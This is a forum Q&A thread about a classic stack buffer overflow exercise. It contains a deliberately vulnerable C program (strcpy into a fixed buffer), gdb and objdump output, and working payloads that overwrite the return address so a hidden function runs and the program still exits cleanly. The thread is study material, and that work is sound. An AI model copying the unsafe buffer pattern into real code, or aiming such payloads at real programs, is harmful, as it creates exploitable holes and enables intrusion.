Reputation: 3715
For my studies I try to create a payload so that it overflows the buffer and calls a "secret" function called "target"
This is the code I use for testing on an i686
#include "stdio.h"
#include "string.h"
void target() {
printf("target\n");
}
void vulnerable(char* input) {
char buffer[16];
strcpy(buffer, input);
}
int main(int argc, char** argv) {
if(argc == 2)
vulnerable(argv[1]);
else
printf("Need an argument!");
return 0;
}
Task 1: Create a payload so that target() is being called. This was rather easy to do by replacing the EIP with the address of the target function.
This is how the buffer looks
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
Payload I used was:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
This works fine but stops with a segmentation fault.
Task 2: Modify the payload in a way that it does not give a segmentation fault
This is where I am stuck. Obviously it causes a segmentation fault because we do not call target with the call instruction and therefore there is no valid return address.
I tried to add the return address on the stack but that did not help
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
Maybe someone can help me out with this. Probably I also have to add the saved EBP of main?
I attach the objdump of the programm
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <puts@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <vulnerable>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 28 sub $0x28,%esp
8048497: 8b 45 08 mov 0x8(%ebp),%eax
804849a: 89 44 24 04 mov %eax,0x4(%esp)
804849e: 8d 45 e8 lea -0x18(%ebp),%eax
80484a1: 89 04 24 mov %eax,(%esp)
80484a4: e8 97 fe ff ff call 8048340 <strcpy@plt>
80484a9: c9 leave
80484aa: c3 ret
080484ab <main>:
80484ab: 55 push %ebp
80484ac: 89 e5 mov %esp,%ebp
80484ae: 83 e4 f0 and $0xfffffff0,%esp
80484b1: 83 ec 10 sub $0x10,%esp
80484b4: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
80484b8: 75 12 jne 80484cc <main+0x21>
80484ba: 8b 45 0c mov 0xc(%ebp),%eax
80484bd: 83 c0 04 add $0x4,%eax
80484c0: 8b 00 mov (%eax),%eax
80484c2: 89 04 24 mov %eax,(%esp)
80484c5: e8 c7 ff ff ff call 8048491 <vulnerable>
80484ca: eb 0c jmp 80484d8 <main+0x2d>
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp)
80484d3: e8 58 fe ff ff call 8048330 <printf@plt>
80484d8: b8 00 00 00 00 mov $0x0,%eax
80484dd: c9 leave
80484de: c3 ret
80484df: 90 nop
Upvotes: 12
Views: 2310
Reputation: 824
You need enough data to fill the reserved memory for the stack where 'buffer' is located, then more to overwrite the stack frame pointer, then overwrite the return address with the address of target()
and then one more address within target()
but not at the very beginning of the function - enter it so the old stack frame pointer is not pushed on the stack. That will cause you to run target instead of returning properly from vulnerable()
and then run target()
again so you return from target()
to main()
and so exit without a segmentation fault.
When we enter vulnerable() for the first time and are about to put data into the 'buffer' variable the stack looks like this:
-----------
| 24-bytes of local storage - 'buffer' lives here
-----------
| old stack frame pointer (from main) <-- EBP points here
-----------
| old EIP (address in main)
-----------
| 'input' argument for 'vulnerable'
-----------
| top of stack for main
-----------
| ... more stack here ...
So starting at the address of 'buffer' we need to put in 24-bytes of junk to get past the local storage reserved on the stack, then 4-more bytes to get past the old stack frame pointer stored on the stack, then we are at the location where the old EIP is stored. That's the instruction pointer that the CPU follows blindly. We like him. He's going to help us crush this program. We overwrite the value of the old EIP in the stack which currently points to an address in main() with the start address of target() which is found via the gdb disassemble command:
(gdb) disas target
Dump of assembler code for function target:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x18,%esp
0x0804842a <+6>: movl $0x8048554,(%esp)
0x08048431 <+13>: call 0x8048354 <puts@plt>
0x08048436 <+18>: leave
0x08048437 <+19>: ret
End of assembler dump.
The address of the target() function is 0x08048424. Since the (my system at least) system is little endian we enter those values with the LSB first so x24, x84, x04, and x08.
But that leaves us with a problem because as vulnerable() returns it pops all the junk that we put in the stack off the stack and we are left with a stack that looks like this when we are just about to process in target() for the first time:
-----------
| 'input' argument for 'vulnerable'
-----------
| top of stack for main
-----------
| ... more stack here ...
So when target() wants to return it will not find the return address on the top of its stack as expected and so will have a segmentation fault.
So we want to force a new return value onto the top of the stack before we start processing in target(). But what value to choose? We don't want to push the EBP because it contains garbage. Remember? We shoved garbage into it when we overwrote 'buffer'. So instead push the target() instruction just after the
push %ebp
( in this case address 0x08048425 ).
This means that the stack will look like this when target() is ready to return for the first time:
-----------
| address of mov %esp, %ebp instruction in target()
-----------
| top of stack for main
-----------
| ... more stack here ...
So upon return from target() the first time , the EIP will now point at the second instruction in target(), which means that the second time we process through target() it has the same stack that main() had when it processed. The top of the stack is the same top of the stack for main(). Now the stack looks like:
-----------
| top of stack for main
-----------
| ... more stack here ...
So when target() returns the second time it has a good stack to return with since it is using the same stack that main() used and so the program exits normally.
So to sum it up that is 28-bytes followed by the address of the first instruction in target() followed by the address of the second instruction in target().
sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>
Upvotes: 3